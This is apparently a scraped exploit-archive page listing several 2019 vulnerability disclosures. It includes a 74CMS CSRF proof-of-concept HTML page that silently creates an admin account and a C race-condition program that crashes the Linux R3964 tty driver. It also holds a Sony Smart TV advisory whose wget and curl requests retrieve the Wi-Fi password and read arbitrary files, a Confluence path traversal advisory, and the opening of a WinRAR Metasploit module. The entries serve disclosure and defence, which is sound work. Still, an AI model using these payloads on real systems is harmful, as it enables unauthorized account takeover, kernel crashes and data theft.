Linux Overflow Via FUSE
74CMS 5.0.1 Cross Site Request Forgery
74CMS version 5.0.1 suffers from a cross site request forgery vulnerability.
76f4e6ffa02049a7c5de75c8cb90c81a
# Exploit Title: 74CMS v5.0.1 has a CSRF vulnerability to add a new admin user
# Date: 2019-04-14
# Exploit Author: ax8
# Vendor Homepage: https://github.com/Li-Siyuan
# Software Link: http://www.74cms.com/download/index.html
# Version: v5.0.1
# CVE : CVE-2019-11374
74CMS v5.0.1 has a CSRF vulnerability to add a new admin user via the index.php?m=Admin&c=admin&a=add URI.
<!--poc.html(creat a administrater)-->
<!DOCTYPE html>
<html>
<head>
<title> CSRF Proof</title>
<script type="text/javascript">
function exec1(){
document.getElementById('form1').submit();
}
</script>
</head>
<body onload="exec1();">
<form id="form1" action="http://localhost/index.php?m=Admin&c=admin&a=add" method="POST">
<input type="hidden" name="username" value="hacker1" />
<input type="hidden" name="email" value="111111111@qq.com" />
<input type="hidden" name="password" value="hacker1" />
<input type="hidden" name="repassword" value="hacker1" />
<input type="hidden" name="role_id" value="1" />
</form>
</body>
</html>
Linux Siemens R3964 Line Discipline Missing Lock
The Siemens R3964 line discipline code in drivers/tty/n_r3964.c has a few races around its ioctl handler; for example, the handler for R3964_ENABLE_SIGNALS just allocates and deletes elements in a linked list with zero locking. This code is reachable by an unprivileged user if the line discipline is enabled in the kernel config; Ubuntu 18.04, for example, ships this line discipline as a module.
1820caa252c106e5cc11b80e59c7e65c
Linux: missing locking in Siemens R3964 line discipline
The Siemens R3964 line discipline code in drivers/tty/n_r3964.c has a few races
around its ioctl handler; for example, the handler for R3964_ENABLE_SIGNALS
just allocates and deletes elements in a linked list with zero locking.
This code is reachable by an unprivileged user if the line discipline is enabled
in the kernel config; Ubuntu 18.04, for example, ships this line discipline as a
module.
Proof of concept:
==================================
user@ubuntu-18-04-vm:~/r3964$ cat r3964_racer.c
#define _GNU_SOURCE
#include <pthread.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <stdio.h>
#include <err.h>
#include <stdlib.h>
#include <linux/n_r3964.h>
static int ptm_fd, slave_fd;
static void *thread_fn(void *dummy) {
int res;
while (1) {
res = ioctl(slave_fd, R3964_ENABLE_SIGNALS, R3964_SIG_ALL);
printf(\"R3964_ENABLE_SIGNALS: %d\
\", res);
res = ioctl(slave_fd, R3964_ENABLE_SIGNALS, 0);
printf(\"R3964_ENABLE_SIGNALS: %d\
\", res);
}
}
int main(void) {
ptm_fd = getpt();
if (ptm_fd == -1) err(1, \"getpt\");
if (unlockpt(ptm_fd)) err(1, \"unlockpt\");
slave_fd = ioctl(ptm_fd, TIOCGPTPEER, O_RDWR);
if (slave_fd == -1) err(1, \"TIOCGPTPEER\");
printf(\"-----------------------------------------\
\");
system(\"ls -l /proc/$PPID/fd\");
printf(\"-----------------------------------------\
\");
const int disc_r3964 = N_R3964;
if (ioctl(slave_fd, TIOCSETD, &disc_r3964)) err(1, \"TIOCSETD\");
pthread_t thread;
if (pthread_create(&thread, NULL, thread_fn, NULL)) errx(1, \"pthread_create\");
thread_fn(NULL);
return 0;
}
user@ubuntu-18-04-vm:~/r3964$ gcc -o r3964_racer r3964_racer.c -pthread && ./r3964_racer
[...]
==================================
dmesg splat:
==================================
[ 82.646953] r3964: Philips r3964 Driver $Revision: 1.10 $
[ 82.656459] ------------[ cut here ]------------
[ 82.656461] kernel BUG at /build/linux-Y38gIP/linux-4.15.0/mm/slub.c:296!
[ 82.658396] invalid opcode: 0000 [#1] SMP PTI
[ 82.659515] Modules linked in: n_r3964 joydev ipt_MASQUERADE nf_nat_masquerade_ipv4 nf_conntrack_netlink nfnetlink xfrm_user xfrm_algo iptable_nat nf_conntrack_ipv4 nf_defrag_ipv4 nf_nat_ipv4 xt_addrtype iptable_filter xt_conntrack nf_nat nf_conntrack libcrc32c br_netfilter bridge stp llc aufs overlay snd_hda_codec_generic crct10dif_pclmul crc32_pclmul snd_hda_intel snd_hda_codec snd_hda_core snd_hwdep ghash_clmulni_intel snd_pcm snd_seq_midi snd_seq_midi_event pcbc aesni_intel aes_x86_64 snd_rawmidi snd_seq snd_seq_device snd_timer snd crypto_simd glue_helper cryptd input_leds soundcore mac_hid 9pnet_virtio 9pnet serio_raw qemu_fw_cfg sch_fq_codel parport_pc ppdev lp parport ip_tables x_tables autofs4 virtio_gpu ttm floppy drm_kms_helper psmouse syscopyarea sysfillrect sysimgblt fb_sys_fops drm
[ 82.677770] virtio_net i2c_piix4 pata_acpi
[ 82.678849] CPU: 1 PID: 2209 Comm: r3964_racer Not tainted 4.15.0-42-generic #45-Ubuntu
[ 82.680897] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.10.2-1 04/01/2014
[ 82.683098] RIP: 0010:kfree+0x16a/0x180
[ 82.684116] RSP: 0018:ffffb6b381d7fd50 EFLAGS: 00010246
[ 82.685454] RAX: ffff9bb0b4770000 RBX: ffff9bb0b4770000 RCX: ffff9bb0b4770000
[ 82.687285] RDX: 0000000000006e86 RSI: ffff9bb1bfca70a0 RDI: ffff9bb1bb003800
[ 82.689247] RBP: ffffb6b381d7fd68 R08: ffffffffc0511db0 R09: ffffffffc051202c
[ 82.691077] R10: ffffeb8c80d1dc00 R11: 0000000000000000 R12: ffff9bb1b3430e40
[ 82.692906] R13: ffffffffc051202c R14: ffff9bb13b56e800 R15: ffff9bb12d1addd0
[ 82.694726] FS: 00007ff9b92da740(0000) GS:ffff9bb1bfc80000(0000) knlGS:0000000000000000
[ 82.696801] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[ 82.698421] CR2: 0000558cf9e32ec8 CR3: 00000000a513a005 CR4: 00000000003606e0
[ 82.700259] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000
[ 82.702113] DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400
[ 82.703946] Call Trace:
[ 82.704602] r3964_ioctl+0x27c/0x2b0 [n_r3964]
[ 82.705746] tty_ioctl+0x138/0x8c0
[ 82.706631] ? __wake_up+0x13/0x20
[ 82.707516] do_vfs_ioctl+0xa8/0x630
[ 82.708610] ? vfs_write+0x166/0x1a0
[ 82.709543] SyS_ioctl+0x79/0x90
[ 82.710405] do_syscall_64+0x73/0x130
[ 82.711357] entry_SYSCALL_64_after_hwframe+0x3d/0xa2
[ 82.712659] RIP: 0033:0x7ff9b8bd45d7
[ 82.713680] RSP: 002b:00007fffcd85bcf8 EFLAGS: 00000202 ORIG_RAX: 0000000000000010
[ 82.715617] RAX: ffffffffffffffda RBX: 0000000000000000 RCX: 00007ff9b8bd45d7
[ 82.717463] RDX: 0000000000000000 RSI: 0000000000005301 RDI: 0000000000000004
[ 82.719411] RBP: 00007fffcd85bd20 R08: 0000000000000000 R09: 0000000000000000
[ 82.721248] R10: 0000000000000000 R11: 0000000000000202 R12: 0000556df58ed820
[ 82.723093] R13: 00007fffcd85be30 R14: 0000000000000000 R15: 0000000000000000
[ 82.724930] Code: c4 80 74 04 41 8b 72 6c 4c 89 d7 e8 61 1c f9 ff eb 86 41 b8 01 00 00 00 48 89 d9 48 89 da 4c 89 d6 e8 8b f6 ff ff e9 6d ff ff ff <0f> 0b 48 8b 3d 6d c5 1c 01 e9 c9 fe ff ff 0f 1f 84 00 00 00 00
[ 82.729909] RIP: kfree+0x16a/0x180 RSP: ffffb6b381d7fd50
[ 82.731310] ---[ end trace c1cd537c5d2e0b84 ]---
==================================
I've also tried this on 5.0-rc2 with KASAN on, which resulted in this splat:
==================================
[ 69.883056] ==================================================================
[ 69.885163] BUG: KASAN: use-after-free in r3964_ioctl+0x288/0x3c0
[ 69.886855] Read of size 8 at addr ffff8881e0474020 by task r3964_racer/1134
[ 69.888820]
[ 69.889251] CPU: 3 PID: 1134 Comm: r3964_racer Not tainted 5.0.0-rc2 #238
[ 69.891729] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.10.2-1 04/01/2014
[ 69.894535] Call Trace:
[ 69.895223] dump_stack+0x71/0xab
[ 69.896134] ? r3964_ioctl+0x288/0x3c0
[ 69.897181] print_address_description+0x6a/0x270
[ 69.898473] ? r3964_ioctl+0x288/0x3c0
[ 69.899499] ? r3964_ioctl+0x288/0x3c0
[ 69.900534] kasan_report+0x14e/0x192
[ 69.901562] ? r3964_ioctl+0x288/0x3c0
[ 69.902606] r3964_ioctl+0x288/0x3c0
[ 69.903586] tty_ioctl+0x227/0xbd0
[...]
[ 69.917312] do_vfs_ioctl+0x134/0x8f0
[...]
[ 69.926807] ksys_ioctl+0x70/0x80
[ 69.927709] __x64_sys_ioctl+0x3d/0x50
[ 69.928734] do_syscall_64+0x73/0x160
[ 69.929741] entry_SYSCALL_64_after_hwframe+0x44/0xa9
[ 69.931099] RIP: 0033:0x7f6491542dd7
[ 69.932068] Code: 00 00 00 48 8b 05 c1 80 2b 00 64 c7 00 26 00 00 00 48 c7 c0 ff ff ff ff c3 66 2e 0f 1f 84 00 00 00 00 00 b8 10 00 00 00 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 8b 0d 91 80 2b 00 f7 d8 64 89 01 48
[ 69.937051] RSP: 002b:00007f6491460f28 EFLAGS: 00000206 ORIG_RAX: 0000000000000010
[ 69.939067] RAX: ffffffffffffffda RBX: 0000000000000000 RCX: 00007f6491542dd7
[ 69.940977] RDX: 000000000000000f RSI: 0000000000005301 RDI: 0000000000000004
[ 69.942905] RBP: 00007f6491460f50 R08: 0000000000000000 R09: 0000000000000018
[ 69.944800] R10: 0000000000000064 R11: 0000000000000206 R12: 0000000000000000
[ 69.947600] R13: 00007ffeb17a9b4f R14: 0000000000000000 R15: 00007f6491c42040
[ 69.949491]
[ 69.949923] Allocated by task 1131:
[ 69.950866] __kasan_kmalloc.constprop.8+0xa5/0xd0
[ 69.952147] kmem_cache_alloc_trace+0xfa/0x200
[ 69.953352] r3964_ioctl+0x2e6/0x3c0
[ 69.954333] tty_ioctl+0x227/0xbd0
[ 69.955267] do_vfs_ioctl+0x134/0x8f0
[ 69.956248] ksys_ioctl+0x70/0x80
[ 69.957150] __x64_sys_ioctl+0x3d/0x50
[ 69.958169] do_syscall_64+0x73/0x160
[ 69.959148] entry_SYSCALL_64_after_hwframe+0x44/0xa9
[ 69.960485]
[ 69.960910] Freed by task 1131:
[ 69.961764] __kasan_slab_free+0x135/0x180
[ 69.962851] kfree+0x90/0x1d0
[ 69.963660] r3964_ioctl+0x208/0x3c0
[ 69.964631] tty_ioctl+0x227/0xbd0
[ 69.965564] do_vfs_ioctl+0x134/0x8f0
[ 69.966540] ksys_ioctl+0x70/0x80
[ 69.967424] __x64_sys_ioctl+0x3d/0x50
[ 69.968424] do_syscall_64+0x73/0x160
[ 69.969414] entry_SYSCALL_64_after_hwframe+0x44/0xa9
[ 69.970768]
[ 69.971182] The buggy address belongs to the object at ffff8881e0474008
[ 69.971182] which belongs to the cache kmalloc-64 of size 64
[ 69.974429] The buggy address is located 24 bytes inside of
[ 69.974429] 64-byte region [ffff8881e0474008, ffff8881e0474048)
[ 69.977470] The buggy address belongs to the page:
[ 69.978744] page:ffffea0007811d00 count:1 mapcount:0 mapping:ffff8881e600f740 index:0x0 compound_mapcount: 0
[ 69.981316] flags: 0x17fffc000010200(slab|head)
[ 69.982528] raw: 017fffc000010200 ffffea0007554508 ffffea0007811e08 ffff8881e600f740
[ 69.984722] raw: 0000000000000000 0000000000270027 00000001ffffffff 0000000000000000
[ 69.984723] page dumped because: kasan: bad access detected
[ 69.984724]
[ 69.984725] Memory state around the buggy address:
[ 69.984727] ffff8881e0473f00: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
[ 69.984729] ffff8881e0473f80: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
[ 69.984731] >ffff8881e0474000: fc fb fb fb fb fb fb fb fb fc fc fc fc fc fc fc
[ 69.984732] ^
[ 69.984734] ffff8881e0474080: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
[ 69.984736] ffff8881e0474100: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
[ 69.984737] ==================================================================
[ 69.984739] Disabling lock debugging due to kernel taint
[ 69.996233] ==================================================================
==================================
I wonder whether it would, in addition to fixing the locking, also make sense to
gate the line discipline on some sort of capability - it seems wrong to me that
this kind of code is exposed to every user on the system.
This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available (whichever is earlier), the bug
report will become visible to the public.
Found by: jannh@google.com
Sony Smart TV Information Disclosure / File Read
Sony Smart TVs suffer from information disclosure and arbitrary file read vulnerabilities.
3b42bd8fb1eb2d499baf7ea58fa34007
UNCLASSIFIED
## ADVISORY INFORMATION
TITLE: Multiple vulnerabilities in Sony Smart TVs
ADVISORY URL:
https://www.darkmatter.ae/blogs/security-flaws-uncovered-in-sony-smart-tvs/
DATE PUBLISHED: 23/04/2019
AFFECTED VENDORS: Sony
RELEASE MODE: Coordinated release
CVE: CVE-2019-10886, CVE-2019-11336
CVSSv3 for CVE-2019-10886: 6.5 (AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)
CVSSv3 for CVE-2019-11336: 6.5 (AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N)
## PRODUCT DESCRIPTION
Sony Smart TVs are provided with applications - adding more functionalities
for the customers - including the "Photo Sharing Plus" application.
The "Photo Sharing Plus" application running inside the Smart TV contains
several weaknesses. This application allows uploading pictures from Smartphone
to the TVs, in order to display them on a large screen.
When started, Photo Sharing Plus is turning the TV into a Wi-Fi access point
and shows a Wi-Fi password allowing customers to connect and share their media
content on the Sony Smart TVs.
## DETAILS OF VULNERABILITIES
xen1thLabs has found multiple vulnerabilities in Sony products in October 2018
and xen1thLabs coordinated the disclosure of these vulnerabilities with Sony.
Two vulnerabilities have been found in the Sony Smart TVs by xen1thLabs while
auditing the security of Smart TVs.
The first vulnerability allows an attacker - without authentication from the
LAN/Wi-Fi - to retrieve the static Wi-Fi password created by the television
when the Photo Sharing Plus application is started.
The second vulnerability allows an attacker to read arbitrary files located in
the TV without authentication including valuable files.
The summary of the vulnerabilities is:
- CVE-2019-10886 Sony Smart TV Photo Sharing Plus Arbitrary File Read
Vulnerability
- CVE-2019-11336 Sony Smart TV Photo Sharing Plus Information Disclosure
Vulnerability
The number of affected Sony models is very high and Sony has decided to remove
this vulnerable application from all models
(https://www.sony.com/electronics/support/televisions-projectors/articles/00204331).
Sony provided a non-exhaustive list of affected TV models from 2015-2016.
Recent models also are affected:
- KDL-50W800C
- KDL-50W805C
- KDL-50W807C
- KDL-50W809C
- KDL-50W820C
- KDL-55W800C
- KDL-55W805C
- KDL-65W850C
- KDL-65W855C
- KDL-65W857C
- KDL-75W850C
- KDL-75W855C
- XBR-43X830C
- XBR-49X800C
- XBR-49X830C
- XBR-49X835C
- XBR-49X837C
- XBR-49X839C
- XBR-55X805C
- XBR-55X807C
- XBR-55X809C
- XBR-55X810C
- XBR-55X850C
- XBR-55X855C
- XBR-55X857C
- XBR-65X800C
- XBR-65X805C
- XBR-65X807C
- XBR-65X809C
- XBR-65X810C
- XBR-65X850C
- XBR-65X855C
- XBR-65X857C
- XBR-75X850C
- XBR-75X855C
- XBR-55X900C
- XBR-55X905C
- XBR-55X907C
- XBR-65X900C
- XBR-65X905C
- XBR-65X907C
- XBR-65X930C
- XBR-75X910C
- XBR-75X940C
- XBR-75X945C
- XBR-43X800D
- XBR-49X800D
- XBR-49X835D
- XBR-55X850D
- XBR-55X855D
- XBR-55X857D
- XBR-65X850D
- XBR-65X855D
- XBR-65X857D
- XBR-75X850D
- XBR-75X855D
- XBR-75X857D
- XBR-85X850D
- XBR-85X855D
- XBR-85X857D
- XBR-55X930D
- XBR-65X930D
- XBR-65X935D
- XBR-65X937D
- XBR-75X940D
- XBR-100Z9D
- XBR-49X700D
- XBR-55X700D
- XBR-65X750D
- XBR-65Z9D
- XBR-75Z9D
- XBR-43X800E
- XBR-49X800E
- XBR-49X900E
- XBR-55A1E
- XBR-55X800E
- XBR-55X806E
- XBR-55X900E
- XBR-55X930E
- XBR-65A1E
- XBR-65X850E
- XBR-65X900E
- XBR-65X930E
- XBR-75X850E
- XBR-75X900E
- XBR-75X940E
- XBR-77A1E
### 1. CVE-2019-11336 Sony Smart TV Photo Sharing Plus Information Disclosure
Vulnerability
An unauthenticated remote attacker can retrieve the plaintext wireless password
through the "Photo Sharing Plus" API.
After starting the application, the following example retrieves the wireless
password created from the TV (IP address of the TV is 192.168.1.102) over the
LAN, without authentication:
```
root@kali:~# wget -qO- --post-data='{"id":80,"method":"getContentShareServerInfo","params":[],"version":"1.0"}' http://[ip_tv]:10000/contentshare/
{"result":[{"ssid":"DIRECT-GD-BRAVIA","keyType":"","key":"8362tbwX","deviceName":"","url":"http:\/\/192.168.49.1","touchPadRemote":"notSupported"}],"id":80}
````
The password is 8362tbwX.
By reading logs of the TV, we can confirm the password has been delivered over
HTTP, without authentication. The logs contain password in plain-text:
```
01-01 07:47:23.730 5539 18687 I System.out: [MEXI][D] HttpEndPoint: send: {"result":[{"ssid":"DIRECT-GD-BRAVIA","keyType":"","key":"8362tbwX","deviceName":"","url":"http:\/\/192.168.49.1","touchPadRemote":"notSupported"}],"id":80}
````
It is also important to note that the generated Wireless password by the TV is
always the same. Even after a hard reboot and a disconnection from the power
supply, the generated password will be always the same. This lack of randomness
is also a security issue.
### 2. CVE-2019-10886 Sony Smart TV Photo Sharing Plus Arbitrary File Read
Vulnerability
It is possible to retrieve internal TV files over HTTP without authentication.
By default, images used by the Photo Sharing Plus application are stored inside
`/data/user/0/com.sony.dtv.photosharingplus/files/_BRAVPSS.TMP/`.
The application starts an access point on the television and a HTTP daemon is
listening to a TCP port on this WLAN.
Furthermore, this daemon also listens on the LAN side of the television and it
is possible to retrieve these images from the LAN an image using this URL:
http://[ip_tv]:10000/contentshare/image/data/user/0/com.sony.dtv.photosharingplus/files/_BRAVPSS.TMP/LJYT0010.JPG
Browsing the address http://[ip_tv]:10000/contentshare/image/ allows getting
access to the root directory of the television running Android.
By exploiting this vulnerability, /default.prop (containing Android properties)
can be retrieved via http://192.168.1.102:10000/contentshare/image/default.prop:
```
root@kali:~# curl -v http://192.168.1.102:10000/contentshare/image/default.prop
Trying 192.168.1.102...
TCP_NODELAY set
Connected to 192.168.1.102 (192.168.1.102) port 10000 (#0)
> GET /contentshare/image/default.prop HTTP/1.1
> Host: 192.168.1.102:10000
> User-Agent: curl/7.58.0
> Accept: /
>
< HTTP/1.1 200 OK
< Connection: close
< Content-Length: 591
< Content-Type: application/octet-stream
<
#
# ADDITIONAL_DEFAULT_PROPERTIES
#
ro.secure=1
security.perf_harden=1
ro.allow.mock.location=0
ro.debuggable=0 ro.zygote=zygote32
dalvik.vm.image-dex2oat-Xms=64m
dalvik.vm.image-dex2oat-Xmx=64m
dalvik.vm.dex2oat-Xms=64m dalvik.vm.dex2oat-Xmx=512m
ro.dalvik.vm.native.bridge=0 debug.atrace.tags.enableflags=0
#
# BOOTIMAGE_BUILD_PROPERTIES
#
ro.bootimage.build.date=2016? 11? 14? ??? 15:34:56 JST ro.bootimage.build.date.utc=1479105296 ro.bootimage.build.fingerprint=Sony/BRAVIA_ATV2_PA/BRAVIA_ATV2:6.0.1/MMB29V.S50/1.6.0.06.14.0.00:user/release-keys persist.sys.usb.config=none
Closing connection 0
````
Logs in the TV confirm the /default.prop file has been delivered over HTTP:
```
01-01 07:46:00.891 5539 18775 I PhotoShareApp: [18775][e]Handle get Uri :/contentshare/image/default.prop
01-01 07:46:00.891 5539 18775 D PhotoShareApp: [18775][e]getLocalFilePath() start, uri=/contentshare/image/default.prop
01-01 07:46:00.891 5539 18775 D PhotoShareApp: [18775][e]loadType: /contentshare/image
01-01 07:46:00.891 5539 18775 D PhotoShareApp: [18775][e]localResPath: /default.prop
01-01 07:46:00.891 5539 18775 D PhotoShareApp: [18775][e]ext:.prop
01-01 07:46:00.891 5539 18775 I PhotoShareApp: [18775][e]Content Type :application/octet-stream
01-01 07:46:00.891 5539 18775 D PhotoShareApp: [18775][e]fileSize:591
01-01 07:46:00.892 5539 18775 D PhotoShareApp: [18775][e]Write to response ... 591
01-01 07:46:00.892 5539 18775 D PhotoShareApp: [18775][e]Write to response completed.
````
## DISCLOSURE TIMELINE
03/10/2018 - Vulnerabilities found
10/10/2018 - Report to Sony - Report to Sony Bug bounty program
through HackerOne
12/10/2018 - Confirmation of the reception of the bug report
15/10/2018 - xen1thLabs explains that the vulnerabilities are also exploitable
over HbbTV (DVB-{S,T,C}) - through HackerOne
29/10/2018 - Sony confirms the vulnerabilities
09/11/2018 - Sony confirms the patches will be available in March 2019 and asks
xen1thLabs to wait until April 2019
29/11/2018 - xen1thLabs sent the slides prior to xen1thLabs's HiTB 2018 Dubai
talk as agreed with Sony
14/01/2019 - Updates requested from xen1thLabs
15/01/2019 - Sony informs xen1thlabs that they are working on patches
27/01/2019 - Updates requested from xen1thLabs
07/03/2019 - Updates requested from xen1thLabs
15/03/2019 - Sony informs xen1thLabs that the agreed date for disclosure is not
possible because they don't know when they will be ready "maybe in a couple of
months"
17/03/2019 - Updates requested from Sony to understand and to publish a
security advisory. xen1thLabs also requests CVEs officially
20/03/2019 - xen1thLabs asks for an acceptable timeline
21/03/2019 - xen1thLabs sent an email to Secure@Sony.com due to the lack of
proper communication from Sony and informing Sony that in order to protect
their customers xen1thLabs needs to publish a security advisory
21/03/2019 - Automatic response from Secure@Sony.com is no more in use.
22/03/2019 - Sony is working on the patches and confirms the 12th April
26/03/2019 - xen1thLabs confirms the release date of the advisory and asks for
CVEs
01/04/2019 - Sony confirms the vulnerabilities affects some models and
"Sony plans to terminate Photo Sharing Plus service for all of models,
and that completion date is scheduled for April 12th, 2019."
16/04/2019 - Sony only provides one CVE instead of two. Sony states
"the wireless password recovery is within Sony's TV specification and is
expected behavior and Sony will not be submitting for a CVE regarding this"
17/04/2019 - xen1thLabs requests a CVE from MITRE
23/04/2019 - Public disclosure
## SOLUTION
Apply patches provided by Sony
## CREDITS
xen1thLabs - Telecom Lab
## REFERENCES
https://www.darkmatter.ae/blogs/security-flaws-uncovered-in-sony-smart-tvs/
Firmware update to v6.5830 from 01-22-2019 (including security patches?)
https://www.sony.com/electronics/support/downloads/00015771
Firmware update to v6.5830 from 01-22-2019 (not including security patches)
https://www.sony.com/electronics/support/downloads/00015770
End of Photo Sharing Plus 11/22/2018
https://www.sony.com/electronics/support/articles/00204331
https://www.darkmatter.ae/xen1thlabs/
sony-smart-tv-photo-sharing-plus-arbitrary-file-read-vulnerability-xl-19-002/
https://www.darkmatter.ae/xen1thlabs/
sony-smart-tv-photo-sharing-plus-information-disclosure-vulnerability-xl-19-003/
## ABOUT xen1thLabs
xen1thLabs conducts vulnerability research, which feeds in the testing and
validation activities it conducts across software, hardware and
telecommunication.
xen1thLabs houses a team of world-class experts dedicated to providing
high impact capabilities in cyber security.
At xen1thLabs we are committed to uncovering new vulnerabilities that combat
tomorrow's threats today.
More information about xen1thLabs can be found at:
https://www.darkmatter.ae/xen1thlabs/
## WORKING AT xen1thLabs
xen1thLabs is looking for several security researchers across multiple disciplines.
Join a great team of likeminded specialists and enjoy all that UAE has to offer!
If you are interested please visit:
https://www.darkmatter.ae/xen1thlabs/
Confluence Server / Data Center Path Traversal
Confluence Server and Confluence Data Center suffer from a path traversal vulnerability in the downloadallattachments resource. Versions affected include 6.6.0 up to 6.6.13, 6.7.0 up to 6.12.4, 6.13.0 up to 6.13.4, 6.14.0 up to 6.14.3, and 6.15.0 up to 6.15.2.
ecb6b12f605a3e2392294e768ae4f8be
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA512
This email refers to the advisory found at
https://confluence.atlassian.com/x/d5e8OQ .
CVE ID:
* CVE-2019-3398.
Product: Confluence Server and Confluence Data Center.
Affected Confluence Server and Confluence Data Center versions:
6.6.0 <= version < 6.6.13
6.7.0 <= version < 6.12.4
6.13.0 <= version < 6.13.4
6.14.0 <= version < 6.14.3
6.15.0 <= version < 6.15.2
Fixed Confluence Server and Data Center versions:
* for 6.6.x, Confluence Server 6.6.13 has been released with a fix for this
issue.
* Confluence Server 6.12.4 has been released with a fix for this issue.
* for 6.13.x, Confluence Server 6.13.4 has been released with a fix for this
issue.
* for 6.14.x, Confluence Server 6.14.3 has been released with a fix for this
issue.
* for 6.15.x, Confluence Server 6.15.2 has been released with a fix for this
issue.
Summary:
This advisory discloses a critical severity security vulnerability. Versions of
Confluence starting with version 2.0.0 before 6.6.13 (the fixed version
for 6.6.x), from 6.7.0 before 6.12.4 (the fixed version for 6.12.x), from 6.13.0
before 6.13.4 (the fixed version for 6.13.x), from 6.14.0 before 6.14.3 (the
fixed version for 6.14.x), and from 6.15.0 before 6.15.2 are affected by this
vulnerability.
Customers who have upgraded Confluence to version 6.6.13 or 6.12.4 or
6.13.4 or 6.14.3 or 6.15.2 are not affected.
Customers who have downloaded and installed Confluence >= 6.6.0 but less
than 6.6.13 (the fixed version for 6.6.x) or who have downloaded and installed
Confluence >= 6.7.0 but less than 6.12.4 or who have downloaded and
installed Confluence >= 6.13.0 but less than 6.13.4 (the fixed version
for 6.13.x) or who have downloaded and installed Confluence >= 6.14.0 but
less than 6.14.3 (the fixed version for 6.14.x) or who have downloaded and
installed Confluence >= 6.15.0 but less than 6.15.2 (the fixed version
for 6.15.x) please upgrade your Confluence installations immediately to
fix this vulnerability.
Path traversal in the downloadallattachments resource - CVE-2019-3398
Severity:
Atlassian rates the severity level of this vulnerability as critical, according
to the scale published in our Atlassian severity levels. The scale allows us to
rank the severity as critical, high, moderate or low.
This is our assessment and you should evaluate its applicability to your own IT
environment.
Description:
Confluence Server and Data Center had a path traversal vulnerability in the
downloadallattachments resource. A remote attacker who has permission to add
attachments to pages and / or blogs, or to create a new space or personal space,
or who has 'Admin' permissions for a space, can exploit this path
traversal vulnerability to write files to arbitrary locations which can lead to
remote code execution on systems that run a vulnerable version of Confluence
Server or Data Center.
Versions of Confluence starting with version 2.0.0 before 6.6.13 (the
fixed version for 6.6.x), from 6.7.0 before 6.12.4 (the fixed version for
6.12.x), from 6.13.0 before 6.13.4 (the fixed version for 6.13.x), from 6.14.0
before 6.14.3 (the fixed version for 6.14.x), and from 6.15.0 before 6.15.2 are
affected by this vulnerability. This issue can be tracked at:
https://jira.atlassian.com/browse/CONFSERVER-58102 .
Fix:
To address this issue, we've released the following versions containing a fix:
* Confluence Server and Confluence Data Center version 6.6.13
* Confluence Server and Confluence Data Center version 6.12.4
* Confluence Server and Confluence Data Center version 6.13.4
* Confluence Server and Confluence Data Center version 6.14.3
* Confluence Server and Confluence Data Center version 6.15.2
Remediation:
Upgrade Confluence to version 6.15.2 or higher.
The vulnerabilities and fix versions are described above. If affected, you
should upgrade to the latest version immediately.
If you are running Confluence Server 6.6.x and cannot upgrade to 6.15.2, upgrade
to version 6.6.13.
If you are running Confluence Server 6.13.x and cannot upgrade to 6.15.2,
upgrade to version 6.13.4.
If you are running Confluence Server 6.14.x and cannot upgrade to 6.15.2,
upgrade to version 6.14.3.
For a full description of the latest version of Confluence Server, see
the release notes found at
https://confluence.atlassian.com/display/DOC/Confluence+Release+Notes. You can
download the latest version of Confluence Server from the download centre found
at https://www.atlassian.com/software/confluence/download.
Support:
If you have questions or concerns regarding this advisory, please raise a
support request at https://support.atlassian.com/.
-----BEGIN PGP SIGNATURE-----
iQJLBAEBCgA1FiEEXh3qw5vbMx/VSutRJCCXorxSdqAFAly+dZ8XHHNlY3VyaXR5
QGF0bGFzc2lhbi5jb20ACgkQJCCXorxSdqA0SQ//WMRRM5cK9rtS9waf+By0pyNb
RKpwqcOVmM9Xuh1gv7D1lJtOC28NcXzGsXNiRQEoAhzkFbNDMDGQ6xcTIzGTr6HR
OwgjZUkvejC4GK3TpH8WqHlT3tMt7eVeLahyXq6Op1F1gmwn5HN9zUN8w6bJSQ5w
bCjRofGEFqzEuu6TWiK2Aj8qZqFFEM2Tx2YpqwUXraRbCG0xf72UvBafzairWzmR
fPZbDKXxlwyq8JsOgMFs5InI7oalyJJnrD0XK31V9bKr7rekm7UMrFqZ3pr+IAyc
BDgVvf7rQcJWhBD1oarCVrj091AKHGAMSDcSg+NrORjGalaRaKzJk5LVXN2GyXJk
tqq/TSGOI4m5WNXwliHYhV/wtKoAG/gSTsHIZ53YHLbPrBZNy+YWnSGX9SDBxWxD
Qc6gPRECnAUXglmnMr3KObjc2e44enG1JResnw2ZPS9O90JmJRakXul1R9zXSvpt
icwuYPK+8NEIPuClwDnmn9PR1Z6ScFPiHR6/DX/c9ygYOhqLM+5kEij3mn8gMfMs
gINNbWvdt+xfcqDiekY2LkBCYrxBBkMmEXaOGEXcV12FHXDaauGyt44x1OHoHy5K
fycp7upySVN64ASA4b1ewkLlyWVBhpdl72IEHTiplXY1YqLB5ozNEZ0HripvB7eq
+snDij398MC4ife7a1w=
=Kqi1
-----END PGP SIGNATURE-----
VirtualBox COM RPC Interface Code Injection / Privilege Escalation
RARLAB WinRAR ACE Format Input Validation Remote Code Execution
In WinRAR versions prior to and including 5.61, there is path traversal vulnerability when crafting the filename field of the ACE format (in UNACEV2.dll). When the filename field is manipulated with specific patterns, the destination (extraction) folder is ignored, thus treating the filename as an absolute path. This module will attempt to extract a payload to the startup folder of the current user. It is limited such that we can only go back one folder. Therefore, for this exploit to work properly, the user must extract the supplied RAR file from one folder within the user profile folder (e.g. Desktop or Downloads). User restart is required to gain a shell.
e92db51f5e14f0fddb4670c8372f4da6
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
#
# TODO: add other non-payload files
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
